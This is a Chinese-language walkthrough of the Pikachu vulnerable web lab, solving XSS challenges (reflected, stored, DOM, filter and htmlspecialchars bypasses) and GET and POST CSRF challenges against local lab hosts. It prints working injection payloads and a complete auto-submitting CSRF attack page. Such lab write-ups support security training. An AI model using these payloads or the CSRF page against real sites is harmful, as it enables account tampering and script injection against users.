一、反射性xss(get)
登录pikachu选择xss模块,第一题,写了一下,发现输入长度不够,很简单,在前端改一下长度就可以使用了,这题就不做过多解释
或者直接在URL中进行写入,也是肥肠滴方便
就很简单的弹窗了,下一道
二、反射性XSS(post)
第二道xss,要输账号密码,我们先用暴力破解的密码试一下
好的进去了,那我们就不用多管了。
继续试一下看看能不能正常弹窗
又弹窗????没设置过滤那我们就笑纳了呗,下一个
三、存储型xss
是一个无情的留言板,我们来正常弹窗试一下
????结果又正常弹窗了,看来还是没设置什么过滤,那我们继续下一道呗
四、DOM型xss
来嘛
终于不可以了,我们找一下问题所在
发现是因为它一点击就会触发domxss(),找到了domxss函数的内核是
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
闭合一下发现还是很容易就弹窗了,pyload是'><img src="#" onmouseover="alert('xss')">
至于下一个xss-x的问题,和这个题是肥肠相似的,所以就不再单独解释,直接给出弹窗叭
五、xss之盲打
让我们小试一下
发现没有弹窗,但问题很大,看了一下提示,登陆了一下后台
发现已经成功弹窗~
六、xss之过滤
我正常来弹个窗试一下
(别说这些'>'的话,不要怕,就是干!)?????也就是说他把<>给过滤掉了??
测试了后其实并不是,有很多没有过滤的东西,测试了很久发现其实只需要更改大小写就可以进行绕过
payload:<SCRIPT>alert(1)</ScriPT>
七、xss之htmlspecialchars
需要查看一下源码了
htmlspecialchars这个函数将网页上面的爬取直接写到href里面,可以看到 “ " ”,“ > ”和“ < ”都经过了编码,剩下的字符没有,单引号依然可以使用
既然已经记录想必就可以构造闭合点击弹窗了
' onclick=alert(1) '
成功
八、xss之href输出
直接<script>alert(1)</script>
发现
不是很对,既然写在herf里了的话,就直接构造alert
payload:javascript:alert(1)
OK.下一个
九、xss之js输出
上<script>alert(1)</script>,发现无任何反应
看源码发现到了问题所在,多加一个闭合就可了
payload:'</script><script>alert('xss')</script>
弹窗成功
CSRF
一、csrf(get)
先根据提示登录
进入修改个人信息
利用审查元素,查看submit类型
发现是get传参,提交一次试试
找到了传参的参数以及路径,利用netword构造payload
http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=123456789&add=PPSUC&email=zerben%40ppsuc.edu.cn&submit=submit
用户点击后就可以完成修改
成功
二、csrf(post)
同样,登录lili的账号,点击修改
查看审查元素发现是post传参
这里的攻击方式跟XSS中POST类型是一样的,攻击者可以搭建一个站点,在站点上做一个表单,诱导lucy点击这个链接,当用户点击时,就会自动向存在CSRF的服务器提交POST请求修改个人信息。
编写一个post.html页面,本文把此页面放到 Kali 的/var/www/html/pikachu/doge_csrf下,然后启动 apache 服务
之后只需要把构造的URL发送给受害者,让其点击就可以完成目标操作,成功修改信息。
url:
http://192.168.171.129/pikachu/doge_csrf/post.html
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.171.133/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="girl" />
<input id="phonenum" type="text" name="phonenum" value="12345678922" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="lucy@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
三、csrf(token)
目前没有好的方法可以绕过